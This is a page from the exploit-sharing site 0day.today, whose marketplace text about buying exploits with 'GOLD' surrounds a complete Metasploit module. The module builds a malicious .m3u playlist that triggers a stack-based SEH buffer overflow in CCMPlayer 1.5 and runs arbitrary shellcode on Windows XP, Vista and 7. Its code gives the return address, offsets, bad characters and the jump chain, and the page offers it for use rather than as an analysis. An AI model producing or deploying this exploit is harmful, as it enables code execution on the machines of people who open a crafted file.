0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
CCMPlayer 1.5 Stack based Buffer Overflow (.m3u)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'CCMPlayer 1.5 Stack based Buffer Overflow (.m3u)', 'Description' => %q{ This module exploits a stack based buffer overflow in CCMPlayer 1.5. Opening a m3u playlist with a long track name, a SEH exception record can be overwritten with parts of the controllable buffer. SEH execution is triggered after an invalid read of an injectible address, thus allowing arbitrary code execution. This module works on multiple Windows platforms including: Windows XP SP3, Windows Vista, and Windows 7. }, 'License' => MSF_LICENSE, 'Author' => ['Rh0'], # discovery and metasploit module 'References' => [ ['URL', 'http://www.exploit-db.com/exploits/18178/'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 0x1000, 'BadChars' => "\x00\x0d\x0a\x1a\x2c\x2e\x3a\x5c", # \x00\r\n\x1a,.:\\ 'DisableNops' => 'True', 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'CCMPlayer 1.5', { # pop esi / pop ebx / ret (in ccmplay.exe) # tweak it if necessary 'Ret' => 0x00403ca7, # last NULL in buffer is accepted 'Offset' => 0x1000 } ] ], 'Privileged' => false, 'DisclosureDate' => '30 Nov 2011', # to my knowledge 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.m3u']), ], self.class) end def exploit m3u = "C:\\" # shellcode m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "nop").encode_string * 25 m3u << payload.encoded # junk m3u << rand_text_alpha_upper(target['Offset'] - (25 + payload.encoded.length)) # need an access violation when reading next 4 bytes as address (0xFFFFFFFF) # to trigger SEH m3u << [0xffffffff].pack("V") # pad m3u << rand_text_alpha_upper(3) # long jmp: jmp far back to shellcode m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-4103").encode_string # NSEH: jmp short back to long jmp instruction m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5").encode_string # pad (need more 2 bytes to fill up to 4, as jmp $-5 are only 2 bytes) m3u << rand_text_alpha_upper(2) # SEH Exception Handler Address -> p/p/r m3u << [target.ret].pack("V") m3u << ".mp3\r\n" # no crash without it print_status("Creating '#{datastore['FILENAME']}' file ...") # Open CCMPlayer -> Songs -> Add -> Files of type: m3u -> msf.m3u => exploit file_create(m3u) end end # 0day.today [2024-12-24] #